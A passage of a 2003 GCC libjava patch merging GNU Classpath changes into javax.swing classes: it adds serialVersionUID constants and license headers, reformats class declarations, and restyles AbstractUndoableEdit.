javax/swing/table/TableColumn.java, + javax/swing/text/StyledEditorKit.java, + javax/swing/tree/DefaultMutableTreeNode.java, + javax/swing/tree/DefaultTreeModel.java, + javax/swing/tree/DefaultTreeSelectionModel.java, + javax/swing/tree/TreePath.java, + javax/swing/undo/AbstractUndoableEdit.java, + javax/swing/undo/StateEdit.java, + javax/swing/undo/StateEditable.java, + javax/swing/undo/UndoableEditSupport.java: + Merges from classpath. + 2003-03-29 Eric Blake Tom Tromey Index: javax/swing/AbstractCellEditor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/AbstractCellEditor.java,v retrieving revision 1.1 diff -u -r1.1 AbstractCellEditor.java --- javax/swing/AbstractCellEditor.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/AbstractCellEditor.java 31 Mar 2003 06:27:20 -0000 @@ -47,7 +47,10 @@ * @author Andrew Selkirk * @version 1.0 */ -public abstract class AbstractCellEditor implements CellEditor, Serializable { +public abstract class AbstractCellEditor + implements CellEditor, Serializable +{ + static final long serialVersionUID = -1048006551406220959L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/AbstractListModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/AbstractListModel.java,v retrieving revision 1.2 diff -u -r1.2 AbstractListModel.java --- javax/swing/AbstractListModel.java 10 Oct 2002 12:08:37 -0000 1.2 +++ javax/swing/AbstractListModel.java 31 Mar 2003 06:27:20 -0000 @@ -48,7 +48,10 @@ * @author Andrew Selkirk * @version 1.0 */ -public abstract class AbstractListModel implements ListModel, Serializable { +public abstract class AbstractListModel + implements ListModel, Serializable +{ + static final long serialVersionUID = -3285184064379168730L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/ActionMap.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/ActionMap.java,v retrieving revision 1.1 diff -u -r1.1 ActionMap.java --- javax/swing/ActionMap.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/ActionMap.java 31 Mar 2003 06:27:20 -0000 @@ -46,7 +46,9 @@ * @author Andrew Selkirk * @version 1.0 */ -public class ActionMap implements Serializable { +public class ActionMap implements Serializable +{ + static final long serialVersionUID = -6277518704513986346L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/BorderFactory.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/BorderFactory.java,v retrieving revision 1.1 diff -u -r1.1 BorderFactory.java --- javax/swing/BorderFactory.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/BorderFactory.java 31 Mar 2003 06:27:20 -0000 @@ -1,3 +1,41 @@ +/* BorderFactory.java + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + package javax.swing; import java.awt.*; Index: javax/swing/ButtonGroup.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/ButtonGroup.java,v retrieving revision 1.1 diff -u -r1.1 ButtonGroup.java --- javax/swing/ButtonGroup.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/ButtonGroup.java 31 Mar 2003 06:27:20 -0000 @@ -44,6 +44,8 @@ public class ButtonGroup implements Serializable { + static final long serialVersionUID = 4259076101881721375L; + Vector v = new Vector(); ButtonModel sel; Index: javax/swing/DefaultBoundedRangeModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/DefaultBoundedRangeModel.java,v retrieving revision 1.2 diff -u -r1.2 DefaultBoundedRangeModel.java --- javax/swing/DefaultBoundedRangeModel.java 10 Oct 2002 12:08:37 -0000 1.2 +++ javax/swing/DefaultBoundedRangeModel.java 31 Mar 2003 06:27:20 -0000 @@ -47,7 +47,10 @@ * @author Andrew Selkirk * @version 1.0 */ -public class DefaultBoundedRangeModel implements BoundedRangeModel, Serializable { +public class DefaultBoundedRangeModel + implements BoundedRangeModel, Serializable +{ + static final long serialVersionUID = 5034068491295259790L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/DefaultButtonModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/DefaultButtonModel.java,v retrieving revision 1.1 diff -u -r1.1 DefaultButtonModel.java --- javax/swing/DefaultButtonModel.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/DefaultButtonModel.java 31 Mar 2003 06:27:20 -0000 @@ -42,9 +42,11 @@ import java.awt.*; import javax.swing.event.*; -public -class DefaultButtonModel implements ButtonModel, java.io.Serializable +public class DefaultButtonModel + implements ButtonModel, java.io.Serializable { + static final long serialVersionUID = -5342609566534980231L; + Vector actions = new Vector(); Vector items = new Vector(); Index: javax/swing/DefaultCellEditor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/DefaultCellEditor.java,v retrieving revision 1.1 diff -u -r1.1 DefaultCellEditor.java --- javax/swing/DefaultCellEditor.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/DefaultCellEditor.java 31 Mar 2003 06:27:20 -0000 @@ -50,7 +50,11 @@ * @author Andrew Selkirk * @version 1.0 */ -public class DefaultCellEditor extends AbstractCellEditor implements TableCellEditor, TreeCellEditor { +public class DefaultCellEditor + extends AbstractCellEditor + implements TableCellEditor, TreeCellEditor +{ + static final long serialVersionUID = 3564035141373880027L; //------------------------------------------------------------- // Classes ---------------------------------------------------- Index: javax/swing/DefaultComboBoxModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/DefaultComboBoxModel.java,v retrieving revision 1.1 diff -u -r1.1 DefaultComboBoxModel.java --- javax/swing/DefaultComboBoxModel.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/DefaultComboBoxModel.java 31 Mar 2003 06:27:21 -0000 @@ -47,7 +47,9 @@ * @version 1.0 */ public class DefaultComboBoxModel extends AbstractListModel - implements MutableComboBoxModel, Serializable { + implements MutableComboBoxModel, Serializable +{ + static final long serialVersionUID = 6698657703676921904L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/DefaultDesktopManager.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/DefaultDesktopManager.java,v retrieving revision 1.1 diff -u -r1.1 DefaultDesktopManager.java --- javax/swing/DefaultDesktopManager.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/DefaultDesktopManager.java 31 Mar 2003 06:27:21 -0000 @@ -46,7 +46,9 @@ * @author Andrew Selkirk * @version 1.0 */ -public class DefaultDesktopManager implements DesktopManager, Serializable { +public class DefaultDesktopManager implements DesktopManager, Serializable +{ + static final long serialVersionUID = 4657624909838017887L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/DefaultListCellRenderer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/DefaultListCellRenderer.java,v retrieving revision 1.1 diff -u -r1.1 DefaultListCellRenderer.java --- javax/swing/DefaultListCellRenderer.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/DefaultListCellRenderer.java 31 Mar 2003 06:27:21 -0000 @@ -49,7 +49,9 @@ * @version 1.0 */ public class DefaultListCellRenderer extends JLabel - implements ListCellRenderer, Serializable { + implements ListCellRenderer, Serializable +{ + static final long serialVersionUID = 7708947179685189462L; //------------------------------------------------------------- // Classes ---------------------------------------------------- Index: javax/swing/DefaultSingleSelectionModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/DefaultSingleSelectionModel.java,v retrieving revision 1.2 diff -u -r1.2 DefaultSingleSelectionModel.java --- javax/swing/DefaultSingleSelectionModel.java 10 Oct 2002 12:08:37 -0000 1.2 +++ javax/swing/DefaultSingleSelectionModel.java 31 Mar 2003 06:27:21 -0000 @@ -48,7 +48,9 @@ * @version 1.0 */ public class DefaultSingleSelectionModel implements - SingleSelectionModel, Serializable { + SingleSelectionModel, Serializable +{ + static final long serialVersionUID = 3676229404753786004L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/InputMap.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/InputMap.java,v retrieving revision 1.1 diff -u -r1.1 InputMap.java --- javax/swing/InputMap.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/InputMap.java 31 Mar 2003 06:27:21 -0000 @@ -46,7 +46,9 @@ * @author Andrew Selkirk * @version 1.0 */ -public class InputMap implements Serializable { +public class InputMap implements Serializable +{ + static final long serialVersionUID = -5429059542008604257L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/JComponent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/JComponent.java,v retrieving revision 1.1 diff -u -r1.1 JComponent.java --- javax/swing/JComponent.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/JComponent.java 31 Mar 2003 06:27:21 -0000 @@ -61,6 +61,7 @@ */ public abstract class JComponent extends Container implements Serializable { + static final long serialVersionUID = -5242478962609715464L; /** * accessibleContext */ Index: javax/swing/JMenu.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/JMenu.java,v retrieving revision 1.1 diff -u -r1.1 JMenu.java --- javax/swing/JMenu.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/JMenu.java 31 Mar 2003 06:27:21 -0000 @@ -51,7 +51,11 @@ * @author Andrew Selkirk * @version 1.0 */ -public class JMenu extends JMenuItem implements Accessible, MenuElement { +public class JMenu + extends JMenuItem + implements Accessible, MenuElement +{ + static final long serialVersionUID = 4227225638931828014L; //------------------------------------------------------------- // Classes ---------------------------------------------------- Index: javax/swing/JSlider.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/JSlider.java,v retrieving revision 1.1 diff -u -r1.1 JSlider.java --- javax/swing/JSlider.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/JSlider.java 31 Mar 2003 06:27:21 -0000 @@ -49,7 +49,11 @@ * @author Andrew Selkirk * @version 1.0 */ -public class JSlider extends JComponent implements SwingConstants, Accessible { +public class JSlider + extends JComponent + implements SwingConstants, Accessible +{ + static final long serialVersionUID = -1441275936141218479L; //------------------------------------------------------------- // Classes ---------------------------------------------------- Index: javax/swing/KeyStroke.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/KeyStroke.java,v retrieving revision 1.1 diff -u -r1.1 KeyStroke.java --- javax/swing/KeyStroke.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/KeyStroke.java 31 Mar 2003 06:27:21 -0000 @@ -46,7 +46,9 @@ * @author Andrew Selkirk * @version 1.0 */ -public class KeyStroke implements Serializable { +public class KeyStroke implements Serializable +{ + static final long serialVersionUID = -9060180771037902530L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/OverlayLayout.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/OverlayLayout.java,v retrieving revision 1.1 diff -u -r1.1 OverlayLayout.java --- javax/swing/OverlayLayout.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/OverlayLayout.java 31 Mar 2003 06:27:21 -0000 @@ -46,7 +46,10 @@ * @author Andrew Selkirk * @version 1.0 */ -public class OverlayLayout implements LayoutManager2, Serializable { +public class OverlayLayout + implements LayoutManager2, Serializable +{ + static final long serialVersionUID = 18082829169631543L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/ScrollPaneLayout.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/ScrollPaneLayout.java,v retrieving revision 1.1 diff -u -r1.1 ScrollPaneLayout.java --- javax/swing/ScrollPaneLayout.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/ScrollPaneLayout.java 31 Mar 2003 06:27:22 -0000 @@ -47,7 +47,10 @@ * @author Andrew Selkirk * @version 1.0 */ -public class ScrollPaneLayout implements LayoutManager, ScrollPaneConstants, Serializable { +public class ScrollPaneLayout + implements LayoutManager, ScrollPaneConstants, Serializable +{ + static final long serialVersionUID = -4480022884523193743L; //------------------------------------------------------------- // Classes ---------------------------------------------------- Index: javax/swing/SizeRequirements.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/SizeRequirements.java,v retrieving revision 1.1 diff -u -r1.1 SizeRequirements.java --- javax/swing/SizeRequirements.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/SizeRequirements.java 31 Mar 2003 06:27:22 -0000 @@ -45,7 +45,9 @@ * @author Andrew Selkirk * @version 1.0 */ -public class SizeRequirements implements Serializable { +public class SizeRequirements implements Serializable +{ + static final long serialVersionUID = 9217749429906736553L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/UIManager.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/UIManager.java,v retrieving revision 1.1 diff -u -r1.1 UIManager.java --- javax/swing/UIManager.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/UIManager.java 31 Mar 2003 06:27:22 -0000 @@ -51,6 +51,8 @@ public class UIManager implements Serializable { + static final long serialVersionUID = -5547433830339189365L; + static class LookAndFeelInfo { String name, clazz; Index: javax/swing/ViewportLayout.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/ViewportLayout.java,v retrieving revision 1.1 diff -u -r1.1 ViewportLayout.java --- javax/swing/ViewportLayout.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/ViewportLayout.java 31 Mar 2003 06:27:22 -0000 @@ -46,7 +46,9 @@ * @author Andrew Selkirk * @version 1.0 */ -public class ViewportLayout implements LayoutManager, Serializable { +public class ViewportLayout implements LayoutManager, Serializable +{ + static final long serialVersionUID = -788225906076097229L; //------------------------------------------------------------- // Initialization --------------------------------------------- Index: javax/swing/border/AbstractBorder.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/border/AbstractBorder.java,v retrieving revision 1.1 diff -u -r1.1 AbstractBorder.java --- javax/swing/border/AbstractBorder.java 9 Aug 2002 04:26:11 -0000 1.1 +++ javax/swing/border/AbstractBorder.java 31 Mar 2003 06:27:22 -0000 @@ -42,6 +42,8 @@ public abstract class AbstractBorder implements Border, Serializable { + static final long serialVersionUID = -545885975315191844L; + AbstractBorder() { } Index: javax/swing/colorchooser/DefaultColorSelectionModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/colorchooser/DefaultColorSelectionModel.java,v retrieving revision 1.1 diff -u -r1.1 DefaultColorSelectionModel.java --- javax/swing/colorchooser/DefaultColorSelectionModel.java 9 Aug 2002 04:26:11 -0000 1.1 +++ javax/swing/colorchooser/DefaultColorSelectionModel.java 31 Mar 2003 06:27:22 -0000 @@ -48,7 +48,9 @@ * @version 1.0 */ public class DefaultColorSelectionModel - implements ColorSelectionModel, Serializable { + implements ColorSelectionModel, Serializable +{ + static final long serialVersionUID = 580150227676302096L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/event/EventListenerList.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/event/EventListenerList.java,v retrieving revision 1.1 diff -u -r1.1 EventListenerList.java --- javax/swing/event/EventListenerList.java 9 Aug 2002 04:26:11 -0000 1.1 +++ javax/swing/event/EventListenerList.java 31 Mar 2003 06:27:22 -0000 @@ -45,8 +45,9 @@ * EventListenerList * @author Andrew Selkirk */ -public class EventListenerList extends Object - implements Serializable { +public class EventListenerList extends Object implements Serializable +{ + static final long serialVersionUID = -5677132037850737084L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/table/AbstractTableModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/table/AbstractTableModel.java,v retrieving revision 1.1 diff -u -r1.1 AbstractTableModel.java --- javax/swing/table/AbstractTableModel.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/table/AbstractTableModel.java 31 Mar 2003 06:27:22 -0000 @@ -46,7 +46,9 @@ * AbstractTableModel * @author Andrew Selkirk */ -public abstract class AbstractTableModel implements TableModel, Serializable { +public abstract class AbstractTableModel implements TableModel, Serializable +{ + static final long serialVersionUID = -5798593159423650347L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/table/DefaultTableCellRenderer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/table/DefaultTableCellRenderer.java,v retrieving revision 1.1 diff -u -r1.1 DefaultTableCellRenderer.java --- javax/swing/table/DefaultTableCellRenderer.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/table/DefaultTableCellRenderer.java 31 Mar 2003 06:27:22 -0000 @@ -1,3 +1,41 @@ +/* DefaultTableCellRenderer.java + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + package javax.swing.table; import java.awt.Component; import java.io.Serializable; @@ -9,6 +47,8 @@ public class DefaultTableCellRenderer extends JLabel implements TableCellRenderer, Serializable { + static final long serialVersionUID = 7878911414715528324L; + public static class UIResource extends DefaultTableCellRenderer implements javax.swing.plaf.UIResource { Index: javax/swing/table/DefaultTableColumnModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/table/DefaultTableColumnModel.java,v retrieving revision 1.1 diff -u -r1.1 DefaultTableColumnModel.java --- javax/swing/table/DefaultTableColumnModel.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/table/DefaultTableColumnModel.java 31 Mar 2003 06:27:22 -0000 @@ -49,7 +49,11 @@ * @author Andrew Selkirk * @version 1.0 */ -public class DefaultTableColumnModel implements TableColumnModel, PropertyChangeListener, ListSelectionListener, Serializable { +public class DefaultTableColumnModel + implements TableColumnModel, PropertyChangeListener, + ListSelectionListener, Serializable +{ + static final long serialVersionUID = 6580012493508960512L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/table/DefaultTableModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/table/DefaultTableModel.java,v retrieving revision 1.1 diff -u -r1.1 DefaultTableModel.java --- javax/swing/table/DefaultTableModel.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/table/DefaultTableModel.java 31 Mar 2003 06:27:22 -0000 @@ -46,7 +46,10 @@ * DefaultTableModel * @author Andrew Selkirk */ -public class DefaultTableModel extends AbstractTableModel implements Serializable { +public class DefaultTableModel extends AbstractTableModel + implements Serializable +{ + static final long serialVersionUID = 6680042567037222321L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/table/TableColumn.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/table/TableColumn.java,v retrieving revision 1.1 diff -u -r1.1 TableColumn.java --- javax/swing/table/TableColumn.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/table/TableColumn.java 31 Mar 2003 06:27:22 -0000 @@ -47,7 +47,9 @@ * @author Andrew Selkirk * @version 1.0 */ -public class TableColumn implements Serializable { +public class TableColumn implements Serializable +{ + static final long serialVersionUID = -6113660025878112608L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/text/StyledEditorKit.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/text/StyledEditorKit.java,v retrieving revision 1.1 diff -u -r1.1 StyledEditorKit.java --- javax/swing/text/StyledEditorKit.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/text/StyledEditorKit.java 31 Mar 2003 06:27:22 -0000 @@ -50,7 +50,9 @@ * @author Andrew Selkirk * @version 1.0 */ -public class StyledEditorKit extends DefaultEditorKit { +public class StyledEditorKit extends DefaultEditorKit +{ + static final long serialVersionUID = 7002391892985555948L; //------------------------------------------------------------- // Classes ---------------------------------------------------- Index: javax/swing/tree/DefaultMutableTreeNode.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/tree/DefaultMutableTreeNode.java,v retrieving revision 1.1 diff -u -r1.1 DefaultMutableTreeNode.java --- javax/swing/tree/DefaultMutableTreeNode.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/tree/DefaultMutableTreeNode.java 31 Mar 2003 06:27:22 -0000 @@ -45,7 +45,10 @@ * DefaultMutableTreeNode * @author Andrew Selkirk */ -public class DefaultMutableTreeNode implements Cloneable, MutableTreeNode, Serializable { +public class DefaultMutableTreeNode + implements Cloneable, MutableTreeNode, Serializable +{ + static final long serialVersionUID = -4298474751201349152L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/tree/DefaultTreeModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/tree/DefaultTreeModel.java,v retrieving revision 1.1 diff -u -r1.1 DefaultTreeModel.java --- javax/swing/tree/DefaultTreeModel.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/tree/DefaultTreeModel.java 31 Mar 2003 06:27:22 -0000 @@ -46,7 +46,9 @@ * DefaultTreeModel * @author Andrew Selkirk */ -public class DefaultTreeModel implements Serializable, TreeModel { +public class DefaultTreeModel implements Serializable, TreeModel +{ + static final long serialVersionUID = -2621068368932566998L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/tree/DefaultTreeSelectionModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/tree/DefaultTreeSelectionModel.java,v retrieving revision 1.1 diff -u -r1.1 DefaultTreeSelectionModel.java --- javax/swing/tree/DefaultTreeSelectionModel.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/tree/DefaultTreeSelectionModel.java 31 Mar 2003 06:27:22 -0000 @@ -48,7 +48,10 @@ * DefaultTreeSelectionModel * @author Andrew Selkirk */ -public class DefaultTreeSelectionModel implements Cloneable, Serializable, TreeSelectionModel { +public class DefaultTreeSelectionModel + implements Cloneable, Serializable, TreeSelectionModel +{ + static final long serialVersionUID = 3288129636638950196L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/tree/TreePath.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/tree/TreePath.java,v retrieving revision 1.1 diff -u -r1.1 TreePath.java --- javax/swing/tree/TreePath.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/tree/TreePath.java 31 Mar 2003 06:27:22 -0000 @@ -44,7 +44,9 @@ * TreePath * @author Andrew Selkirk */ -public class TreePath implements Serializable { +public class TreePath implements Serializable +{ + static final long serialVersionUID = 4380036194768077479L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/undo/AbstractUndoableEdit.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/undo/AbstractUndoableEdit.java,v retrieving revision 1.1 diff -u -r1.1 AbstractUndoableEdit.java --- javax/swing/undo/AbstractUndoableEdit.java 9 Aug 2002 04:26:13 -0000 1.1 +++ javax/swing/undo/AbstractUndoableEdit.java 31 Mar 2003 06:27:22 -0000 @@ -1,5 +1,5 @@ /* AbstractTableModel.java -- - Copyright (C) 2002 Free Software Foundation, Inc. + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -44,171 +44,175 @@ * AbstractUndoableEdit * @author Andrew Selkirk */ -public class AbstractUndoableEdit extends Object - implements UndoableEdit, - Serializable { - - //------------------------------------------------------------- - // Constants -------------------------------------------------- - //------------------------------------------------------------- - - /** - * String returned by getRedoPresentationName() - */ - protected static String RedoName = "Redo"; - - /** - * String returned by getUndoPresentationName() - */ - protected static String UndoName = "Undo"; - - - //------------------------------------------------------------- - // Variables -------------------------------------------------- - //------------------------------------------------------------- - - /** - * TODO - */ - private boolean hasBeenDone = false; - - /** - * The edit is alive - */ - private boolean alive = true; - - - //------------------------------------------------------------- - // Initialization --------------------------------------------- - //------------------------------------------------------------- - - /** - * Create new AbstractUndoableEdit - */ - public AbstractUndoableEdit() { - } // AbstractUndoableEdit() - - - //------------------------------------------------------------- - // Interface: UndoableEdit ------------------------------------ - //------------------------------------------------------------- - - /** - * addEdit - * @param anEdit TODO - * @returns TODO - */ - public boolean addEdit(UndoableEdit anEdit) { - return false; - } // addEdit() - - /** - * canRedo() - * @returns true if redoable, false otherwise - */ - public boolean canRedo() { - if (alive == true && hasBeenDone == false) { - return true; - } // if - return false; - } // canRedo() - - /** - * canUndo() - * @returns true if undoable, false otherwise - */ - public boolean canUndo() { - if (alive == true && hasBeenDone == true) { - return true; - } // if - return false; - } // canUndo() - - /** - * die - */ - public void die() { - alive = false; - } // die() - - /** - * getPresentation - * @returns TODO - */ - public String getPresentationName() { - return ""; - } // getPresentationName() - - /** - * getRedoPresentationName - * @returns TODO - */ - public String getRedoPresentationName() { - if (getPresentationName().equals("") == true) { - return RedoName; - } else { - return RedoName + " " + getPresentationName(); - } - } // getRedoPresentationName() - - /** - * getUndoPresentationName - * @returns TODO - */ - public String getUndoPresentationName() { - if (getPresentationName().equals("") == true) { - return UndoName; - } else { - return UndoName + " " + getPresentationName(); - } - } // getUndoPresentationName() - - /** - * isSignificant - * @returns true - */ - public boolean isSignificant() { - return true; - } // isSignificant() - - /** - * redo - * @throws CannotRedoException TODO - */ - public void redo() throws CannotRedoException { - if (canRedo() == false) { - throw new CannotRedoException(); - } - hasBeenDone = true; - } // redo() - - /** - * replaceEdit - * @param anEdit TODO - * @returns TODO - */ - public boolean replaceEdit(UndoableEdit anEdit) { - return false; - } // replaceEdit() - - /** - * String representation - * @returns String representation - */ - public String toString() { - return null; // TODO - } // toString() - - /** - * undo - * @throws CannotUndoException TODO - */ - public void undo() throws CannotUndoException { - if (canUndo() == false) { - throw new CannotUndoException(); - } - hasBeenDone = false; - } // undo() - - +public class AbstractUndoableEdit implements UndoableEdit, Serializable +{ + static final long serialVersionUID = 580150227676302096L; + + //------------------------------------------------------------- + // Constants -------------------------------------------------- + //------------------------------------------------------------- + + /** + * String returned by getRedoPresentationName() + */ + protected static final String RedoName = "Redo"; + + /** + * String returned by getUndoPresentationName() + */ + protected static final String UndoName = "Undo"; + + + //------------------------------------------------------------- + // Variables -------------------------------------------------- + //------------------------------------------------------------- + + /** + * TODO + */ + private boolean hasBeenDone = false; + + /** + * The edit is alive + */ + private boolean alive = true; + + + //------------------------------------------------------------- + // Initialization --------------------------------------------- + //------------------------------------------------------------- + + /** + * Create new AbstractUndoableEdit + */ + public AbstractUndoableEdit() + { + } // AbstractUndoableEdit() + + + //------------------------------------------------------------- + // Interface: UndoableEdit ------------------------------------ + //------------------------------------------------------------- + + /** + * addEdit + * @param anEdit TODO + * @returns TODO + */ + public boolean addEdit(UndoableEdit anEdit) + { + return false; + } // addEdit() + + /** + * canRedo() + * @returns true if redoable, false otherwise + */ + public boolean canRedo() + { + if (alive == true && hasBeenDone == false) + return true; + return false; + } // canRedo() + + /** + * canUndo() + * @returns true if undoable, false otherwise + */ + public boolean canUndo() + { + if (alive == true && hasBeenDone == true) + return true; + return false; + } // canUndo() + + /** + * die + */ + public void die() + { + alive = false; + } // die() + + /** + * getPresentation + * @returns TODO + */ + public String getPresentationName() + { + return ""; + } // getPresentationName() + + /** + * getRedoPresentationName + * @returns TODO + */ + public String getRedoPresentationName() + { + if (getPresentationName().equals("")) + return RedoName; + return RedoName + " " + getPresentationName(); + } // getRedoPresentationName() + + /** + * getUndoPresentationName + * @returns TODO + */ + public String getUndoPresentationName() + { + if (getPresentationName().equals("")) + return UndoName; + return UndoName + " " + getPresentationName(); + } // getUndoPresentationName() + + /** + * isSignificant + * @returns true + */ + public boolean isSignificant() + { + return true; + } // isSignificant() + + /** + * redo + * @throws CannotRedoException TODO + */ + public void redo() throws CannotRedoException + { + if (! canRedo()) + throw new CannotRedoException(); + hasBeenDone = true; + } // redo() + + /** + * replaceEdit + * @param anEdit TODO + * @returns TODO + */ + public boolean replaceEdit(UndoableEdit anEdit) + { + return false; + } // replaceEdit() + + /** + * String representation + * @returns String representation + */ + public String toString() + { + return (super.toString() + " hasBeenDone: " + hasBeenDone + + " alive: " + alive); + } + + 